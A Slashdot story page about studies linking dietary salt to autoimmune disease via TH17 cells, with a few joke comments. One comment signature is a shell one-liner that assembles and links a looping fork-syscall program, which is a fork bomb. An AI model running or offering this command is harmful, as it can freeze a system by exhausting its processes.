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Salt Linked To Autoimmune Diseases

Posted by Soulskill on from the literally-everything-is-trying-to-kill-us dept.

ananyo writes "The incidence of autoimmune diseases, such as multiple sclerosis and type 1 diabetes, has spiked in developed countries in recent decades. In three studies published today, researchers describe the molecular pathways that can lead to autoimmune disease and identify one possible culprit that has been right under our noses — and on our tables — the entire time: salt. Some forms of autoimmunity have been linked to overproduction of TH17 cells, a type of helper T cell that produces an inflammatory protein called interleukin-17. Now scientists have found sodium chloride turns on the production of these cells (abstract). They also showed that in a mouse model of multiple sclerosis, a high-salt diet accelerated the disease's progression (abstract)."

6 of 308 comments (clear)

  1. Everything good is bad for you by Anonymous Coward · · Score: 5, Funny

    Salt, sugar, ethanol, nicotine, any food that isn't raw and tasteless--in an ideal healthy world, we would all eat a diet of cardboard and water and walk around flagellating ourselves all day.

    Enjoyable = sinful = unhealthy

    1. Re:Everything good is bad for you by Hal_Porter · · Score: 5, Funny

      I take this sort of story with a pinch of salt to be honest.

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      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    2. Re:Everything good is bad for you by K.+S.+Kyosuke · · Score: 4, Funny

      I have yet to hear any study suggest that sex is bad for you.

      You're not visiting the right churches.

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      Ezekiel 23:20
    3. Re:Everything good is bad for you by Dantoo · · Score: 5, Funny

      It would be awful to die all alone like that though........

  2. Eat well and die young by Anonymous Coward · · Score: 5, Funny

    90 years of whole wheat is indistinguishable from death.

  3. Don't believe everything you read. by TeknoHog · · Score: 4, Funny

    You should always take news like this with 64.79891 mg of NaCl.

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    Escher was the first MC and Giger invented the HR department.